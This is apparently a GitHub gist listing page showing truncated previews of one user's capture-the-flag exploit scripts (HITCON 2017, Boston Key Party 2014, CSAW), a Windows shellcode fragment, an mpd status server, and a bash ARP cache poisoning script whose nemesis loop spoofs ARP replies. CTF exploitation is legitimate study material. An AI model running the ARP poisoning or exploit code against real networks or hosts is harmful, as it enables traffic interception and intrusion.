NickStephens’s gists

NickStephens / x.py

Created November 7, 2017 05:08

hitcon 2017 babyfs solution

	import sys
	from pwn import *

	#context.log_level = "DEBUG"
	r = remote("localhost", 50216)
	r = remote("52.198.183.186", 50216)

	def doOpen(filename):
	r.recvuntil("choice: ")
	r.sendline("1")

NickStephens / x.py

Created November 7, 2017 05:05

hitcon 2017 biglittle solution

	import sys
	from Frame import *
	from pwn import *

	if len(sys.argv) > 1:
	r = remote("54.178.214.211", 3573)
	else:
	r = remote("localhost", 4000)

	def recvpage(t):

NickStephens / x.py

Created February 8, 2015 06:12

exploit for haxdump's pwn300

	#!/usr/bin/env python2

	import socket
	import struct
	import time
	import telnetlib

	p = lambda v: struct.pack("<Q", v)
	u = lambda v: struct.unpack("<Q", v)[0]

NickStephens / rkey.S

Last active August 29, 2015 14:07

Breznparadisebugmaschine.exe Exploit

	BITS 32

	; windows peb function finder
	; most of this code taken from shell-storm
	; and the shellcoder's handbook

	global _start

	Kernel32Hash equ 0x000d4e88
	WS2_32Hash equ 0x0003ab08

NickStephens / x.py

Created September 25, 2014 00:43

csaw cfbsum solution

	#!/usr/bin/env python3


	import os
	import array
	import string

	rSum =0
	chart = {"EeTtAaOoIiNn":5,"SsHhRrDdLlUu ":4,"CcMmFfWwYyPp":3,"VvBbGgKkJjQq":2,"XxZz":1}

NickStephens / exploit.py

Last active August 29, 2015 14:05

bkp ctf 2014 deepblue writeup/exploit

	#!/usr/bin/env python

	'''
	mike_pizza

	exploit for deepblue-500
	from boston key party

	vulnerability:
	* moving the queen piece leads to arbitrary write, however you cannot

NickStephens / gist:8907786

Created February 9, 2014 23:33

an mpd song status server, built to lighten xmobars load

	# mike_pizza

	# a smart mpd client-server
	# allows xmobar to get the song stats without having to constantly query the mpd server

	from mpd import MPDClient
	import threading
	import time

	songchanged = False

NickStephens / arp_poison

Created May 11, 2013 01:53

A quick and dirty bash script used to perform the infamous man-in-the-middle attack know as ARP cache poisoning. This attack works by telling a victim on the network that your mac address is the mac address of the ip_to_masquerade_as, meaning all data destined for the ip_to_masquerade_as from the victim will now be sent to you before being forwa…

	#!/bin/bash

	# perform an arp cache poisoning attack with nemesis
	# http://nemesis.sourceforge.net/

	[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0

	while true
	do
	nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4

Nick NickStephens